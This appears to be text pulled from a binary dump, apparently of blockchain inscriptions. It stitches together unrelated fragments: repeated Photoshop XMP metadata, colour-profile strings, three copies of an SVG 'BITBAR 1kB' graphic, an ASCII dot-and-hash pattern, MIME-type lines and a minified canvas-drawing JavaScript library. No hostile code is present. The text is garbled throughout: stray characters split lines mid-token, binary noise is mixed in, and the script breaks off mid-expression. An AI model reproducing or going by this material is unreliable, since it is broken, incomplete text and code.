orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:61392A7EA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:61392A7FA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:61392A7CA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:61392A7DA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Em
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:62417FDFA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:62417FE0A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:62417FDDA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:62417FDEA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:2B261B74A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:2B261B75A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2B261B72A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:2B261B73A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:8CD310F3A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:8CD310F4A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8CD310F1A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:8CD310F2A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:289928B8A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:289928B9A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:289928B6A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:289928B7A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
%!'&$!$#).;2),8,#$3F48=?BCB(1HMH@M;AB?
?*$*??????????????????????????????????????????????????
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:417074B2A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:417074B3A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3FE6619BA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:3FE6619CA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>\
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:9C4A7806A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:9C4A7807A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9AC0C7A5A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:9AC0C7A6A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:4CE77FA2A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:4CE77FA3A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4B5CFE3BA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:4B5CFE3CA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
text/plain;charset=utf-8
....+|...#.-...|.+.#.-...|.+...--...+.|...-.#.+.|...-.#...|+....
.#.|.|.-.-#+#+|.|.-.-.+.+..............+.+.-.-.|.|+#+#-.-.|.|.#.
...-.#.#...+.-....|.|.....+.-......-.+.....|.|....-.+...#.#.-...
.|-+.#|+.|-+.............#...|-++-|...#.............+-|.+|#.+-|.
+....#.|.+......|.-.+....#.|.-.++.-.|.#....+.-.|......+.|.#....+
||####.............|||###..............###|||.............####||
...|...+-...+.|#...#...-|...-......-...|-...#...#|.+...-+...|...
.-#+|.+......#.-#.-..-........|..|........-..-.#-.#......+.|+#-.
......-.-.-.-.......-.+.-.+..#....#..+.-.+.-.......-.-.-.-......
#-.|+......#|+#-.......|..|..-....-..|..|.......-#+|#......+|.-#
.#.-....-....-..#.+..#.-..#.-..##..-.#..-.#..+.#..-....-....-.#.
-+++.....#.#||.......+.......#||||#.......+.......||#.#.....+++-
.#....+.-|.|#.....+-.|#.....+-.||.-+.....#|.-+.....#|.|-.+....#.
.+-....#.+-|....#.+|.......-#.+..+.#-.......|+.#....|-+.#....-+.
.|....|..#............................................#..|....|.
|.....#-.-.....|+.+.....|.....#--#.....|.....+.+|.....-.-#.....|
.|..|..#..#..#.+..-.|..#..#.+..++..+.#..#..|.-..+.#..#..#..|..|.
+....................#|-...##|+..+|##...-|#....................+
.-|.-..-..+.++.+-.+..+....................+..+.-+.++.+..-..-.|-.
#....|#.....-|.....--....+--........--+....--.....|-.....#|....#
.-|.+|..-.......|..-#.-|.+|..........|+.|-.#-..|.......-..|+.|-.
-....|.-..#+|....#+....-.+..|.-..-.|..+.-....+#....|+#..-.|....-
.+...#..+...#....|..-..+|..-..+..+..-..|+..-..|....#...+..#...+.
.....#-..|-.....#-..|-+........||........+-|..-#.....-|..-#.....
.+...#|.-......|......|.--.....||.....--.|......|......-.|#...+.
|..##..............+++..--...-|..|-...--..+++..............##..|
..+.....+|#.....#..-|.....|#.+-..-+.#|.....|-..#.....#|+.....+..
+...|........-...#.-..-...#.-..--..-.#...-..-.#...-........|...+
..-...-...-.+#..+#...|.....-...--...-.....|...#+..#+.-...-...-..
...|-...#-.#-....|.......-+...|++|...+-.......|....-#.-#...-|...
...-...|...|.+.#.+...-+..|-..|-..-|..-|..+-...+.#.+.|...|...-...
-..++.....#||..-+......||..--+....+--..||......+-..||#.....++..-
#.....++..-||..#......+||..##......##..||+......#..||-..++.....#
...#...|...|...-...+.#.+.|#..|#..#|..#|.+.#.+...-...|...|...#...
...|#...-#.-#...+|......+#....|..|....#+......|+...#-.#-...#|...
..#...#+..#+.-...-...|.....#+..##..+#.....|...-...-.+#..+#...#..
..+.|...+....#...-.#..#...-.#..##..#.-...#..#.-...#....+...|.+..
+.....+..|-.....-+.#|..+..|-..#..#..-|..+..|#.+-.....-|..+.....+
|..--...++...++.........##...#|..|#...##.........++...++...--..|
...+.-|.#...++.|......|.##...+.||.+...##.|......|.++...#.|-.+...
....+-#.+|#....+-#.+|#....+...+||+...+....#|+.#-+....#|+.#-+....
..+..-...+..-....|..#...|..#...++...#..|...#..|....-..+...-..+..
#....|.#..-.|..+.-.....#....|.#..#.|....#.....-.+..|.-..#.|....#
.#|..|..#.......|+.#-.#|..|..........|..|#.-#.+|.......#..|..|#.
-....|-.....#|.....##..+..##..+..+..##..+..##.....|#.....-|....-
.#|.#..#........#..............................#........#..#.|#.
..............+.....+-|#..+--|....|--+..#|-+.....+..............
.|..|..-..-..-..+.#.|..-..-..+....+..-..-..|.#.+..-..-..-..|..|.
|.....-#+#.....|.....+.+|.....-##-.....|+.+.....|.....#+#-.....|
.|+.+.|..-..+....+.......+............+.......+....+..-..|.+.+|.
+.#....-+.#|....-..|....++.#-......-#.++....|..-....|#.+-....#.+
.-+.....#|.|-.+....#.|-.+....#.||.#....+.-|.#....+.-|.|#.....+-.
#......++-+-||..............+-||||-+..............||-+-++......#
.-.#..+.#..+.#..-....-.#..-.#..--..#.-..#.-....-..#.+..#.+..#.-.
-#.|....+..-|.-#......+|.+|..#....#..|+.|+......#-.|-..+....|.#-
.+....#.#+#+#+.+....#..+#+.+.-....-.+.+#+..#....+.+#+#+#.#....+.
.#-.|......+.-.#-.#..#......+.|++|.+......#..#.-#.-.+......|.-#.
...|..+.#.+...|-...-...#|.+.#..++..#.+.|#...-...-|...+.#.+..|...
||----.............|||---..............---|||.............----||
...+.-.|......+.|.#....+.-.|.#....#.|.-.+....#.|.+......|.-.+...
.|#.+-|..|#.............+-...|#..#|...-+.............#|..|-+.#|.
...#.-.-....+#+...|.|.+....+#......#+....+.|.|...+#+....-.-.#...
.-.|.|.#+#-.-.|.|.#.#......................#.#.|.|.-.-#+#.|.|.-.
.....|...-.#.+.|...-.#...|+....##....+|...#.-...|.+.#.-...|.....
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
,http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164648, 2021/01/12-15:52:29        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshopM
 2021 Macintosh" xmpMM:InstanceID="xmp.iid:101EA3F9A41711ED8B96B6A71BBA6C76" xmpMM:DocumentID="xmp.did:101EA3FAA41711ED8B96B6A71BBA6C76"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:101EA3F7A41711ED8B96B6A71BBA6C76" stRef:documentID="xmp.did:101EA3F8A41711ED8B96B6A71BBA6C76"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
,http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164648, 2021/01/12-15:52:29        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshopM
 2021 Macintosh" xmpMM:InstanceID="xmp.iid:101EA3F9A41711ED8B96B6A71BBA6C76" xmpMM:DocumentID="xmp.did:101EA3FAA41711ED8B96B6A71BBA6C76"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:101EA3F7A41711ED8B96B6A71BBA6C76" stRef:documentID="xmp.did:101EA3F8A41711ED8B96B6A71BBA6C76"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
,http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164648, 2021/01/12-15:52:29        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshopM
 2021 Macintosh" xmpMM:InstanceID="xmp.iid:101EA3F9A41711ED8B96B6A71BBA6C76" xmpMM:DocumentID="xmp.did:101EA3FAA41711ED8B96B6A71BBA6C76"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:101EA3F7A41711ED8B96B6A71BBA6C76" stRef:documentID="xmp.did:101EA3F8A41711ED8B96B6A71BBA6C76"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/html;charset=utf-8
<html><script>function e(e){"use strict";return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100,n.height=100,n.canvas.width=n.width,n.canvas.height=n.height,"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",(function(){document.body.appendChild(n.canvas)}))),y(),n.MAGIC=161533525,n.RGB=0,n.HSV=1,n.HSB=1,n.CHORD=0,n.PIE=1,n.OPEN=2,n.RADIUS=1,n.CORNER=2,n.CORNERS=3,n.ROUND="round",n.SQM
UARE="butt",n.PROJECT="square",n.MITER="miter",n.BEVEL="bevel",n.CLOSE=1,n.BLEND="source-over",n.REMOVE="destination-out",n.ADD="lighter",n.DARKEST="darken",n.LIGHTEST="lighten",n.DIFFERENCE="difference",n.SUBTRACT="subtract",n.EXCLUSION="exclusion",n.MULTIPLY="multiply",n.SCREEN="screen",n.REPLACE="copy",n.OVERLAY="overlay",n.HARD_LIGHT="hard-light",n.SOFT_LIGHT="soft-light",n.DODGE="color-dodge",n.BURN="color-burn",n.NORMAL="normal",n.ITALIC="italic",n.BOLD="bold",n.BOLDITALIC="italic bold",n.CENTER="center",n.LEM
FT="left",n.RIGHT="right",n.TOP="top",n.BOTTOM="bottom",n.BASELINE="alphabetic",n.LANDSCAPE="landscape",n.PORTRAIT="portrait",n.ALT=18,n.BACKSPACE=8,n.CONTROL=17,n.DELETE=46,n.DOWN_ARROW=40,n.ENTER=13,n.ESCAPE=27,n.LEFT_ARROW=37,n.OPTION=18,n.RETURN=13,n.RIGHT_ARROW=39,n.SHIFT=16,n.TAB=9,n.UP_ARROW=38,n.HALF_PI=Math.PI/2,n.PI=Math.PI,n.QUARTER_PI=Math.PI/4,n.TAU=2*Math.PI,n.TWO_PI=2*Math.PI,n.THRESHOLD=1,n.GRAY=2,n.OPAQUE=3,n.INVERT=4,n.POSTERIZE=5,n.DILATE=6,n.ERODE=7,n.BLUR=8,n.ARROW="default",n.CROSS="crosshair"M
,n.HAND="pointer",n.MOVE="move",n.TEXT="text",n.VIDEO={video:!0,audio:!1},n.AUDIO={video:!1,audio:!0},n.SHR3=1,n.LCG=2,n.HARDWARE_FILTERS=!0,n.hint=function(e,t){n[e]=t},n.frameCount=0,n.mouseX=0,n.mouseY=0,n.pmouseX=0,n.pmouseY=0,n.mouseButton=null,n.keyIsPressed=!1,n.mouseIsPressed=!1,n.key=null,n.keyCode=null,n.pixels=null,n.accelerationX=0,n.accelerationY=0,n.accelerationZ=0,n.rotationX=0,n.rotationY=0,n.rotationZ=0,n.relRotationX=0,n.relRotationY=0,n.relRotationZ=0,n.pAccelerationX=0,n.pAccelerationY=0,n.pAcceM
lerationZ=0,n.pRotationX=0,n.pRotationY=0,n.pRotationZ=0,n.pRelRotationX=0,n.pRelRotationY=0,n.pRelRotationZ=0,n.touches=[],n._styleCache=[{colorMode:n.RGB,noStroke:!1,noFill:!1,ellipseMode:n.CENTER,rectMode:n.CORNER,curveDetail:20,curveAlpha:0,textFont:"sans-serif",textSize:12,textLeading:12,textStyle:"normal"}],n._style=n._styleCache[n._styleCache.length-1],n._noLoop=!1,n._pixelDensity=1,n._frameRate=null,n._tint=null;let r=null,a=!0,i=[],l=null,s=0,u={},c=0,h=null,f=null,d=null;Object.defineProperty(n,"deviceOriM
entation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}}),Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}}),Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}}),Object.defineProperty(n,"drawingContext",{get:function(){return o}}),n.createCanvas=function(e,t){return n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,y(),n.canvas},n.resizeCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t},nM
.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o},n.pixelDensity=function(e){return null==e||(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),y()),n._pixelDensity},n.map=function(e,t,n,o,r,a){let i=o+1*(e-t)/(n-t)*(r-o);return a?o<r?Math.min(Math.max(i,o),r):Math.min(Math.max(i,r),o):i},n.lerp=function(eM
,t,n){return e*(1-n)+t*n},n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)},n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])},n.norm=function(e,t,o){return n.map(e,t,o,0,1)},n.sq=function(e){return e*e},n.fract=function(e){return e-Math.floor(e)},n.degrees=function(e){return 180*e/Math.PI},n.radians=function(e){return e*Math.PI/180},n.abs=Math.abs,n.ceil=MM
ath.ceil,n.exp=Math.exp,n.floor=Math.floor,n.log=Math.log,n.mag=Math.hypot,n.max=Math.max,n.min=Math.min,n.round=Math.round,n.sqrt=Math.sqrt,n.sin=Math.sin,n.cos=Math.cos,n.tan=Math.tan,n.asin=Math.asin,n.acos=Math.acos,n.atan=Math.atan,n.atan2=Math.atan2,n.Vector=function(e,t,o){let r=this;r.x=e||0,r.y=t||0,r.z=o||0;let a=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function s(){null==i&&(i=r.x*r.x+r.y*r.y+r.z*r.z,a=Math.sqrt(i))}function u(){i=null,a=null}r.set=function(M
e,t,n){r.x=e||0,r.y=t||0,r.z=n||0},r.copy=function(){return new n.Vector(r.x,r.y,r.z)},r.add=function(){let e=l.apply(null,arguments);return r.x+=e.x,r.y+=e.y,r.z+=e.z,u(),r},r.rem=function(){let e=l.apply(null,arguments);return r.x%=e.x,r.y%=e.y,r.z%=e.z,u(),r},r.sub=function(){let e=l.apply(null,arguments);return r.x-=e.x,r.y-=e.y,r.z-=e.z,u(),r},r.mult=function(){let e=l.apply(null,arguments);return r.x*=e.x,r.y*=e.y,r.z*=e.z,u(),r},r.div=function(){let e=l.apply(null,arguments);return r.x/=e.x,r.y/=e.y,r.z/=e.zM
,u(),r},r.mag=function(){return s(),a},r.magSq=function(){return s(),i},r.dot=function(){let e=l.apply(null,arguments);return r.x*e.x+r.y*e.y+r.z*e.z},r.dist=function(){let e=l.apply(null,arguments),t=r.x-e.x,n=r.y-e.y,o=r.z-e.z;return Math.sqrt(t*t+n*n+o*o)},r.cross=function(){let e=l.apply(null,arguments),t=r.y*e.z-r.z*e.y,n=r.z*e.x-r.x*e.z,o=r.x*e.y-r.y*e.x;return r.x=t,r.y=n,r.z=o,u(),r},r.normalize=function(){s();let e=a;return r.x/=e,r.y/=e,r.z/=e,a=1,i=1,r},r.limit=function(e){s();if(a>e){let t=e/a;r.x*=t,r.M
y*=t,r.z*=t,a=e,i=e*e}return r},r.setMag=function(e){s();let t=e/a;return r.x*=t,r.y*=t,r.z*=t,a=e,i=e*e,r},r.heading=function(){return Math.atan2(r.y,r.x)},r.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=r.x*t-r.y*n,a=r.x*n+r.y*t;return r.x=o,r.y=a,r},r.angleBetween=function(){let e=l.apply(null,arguments);const t=r.dot(e)/(r.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*Math.sign(r.cross(e).z||1)},r.lerp=function(e,t){return r.x=r.x*(1-t)+e.x*t,r.y=r.y*(1-t)+e.y*t,r.z=r.z*(1-t)+e.z*M
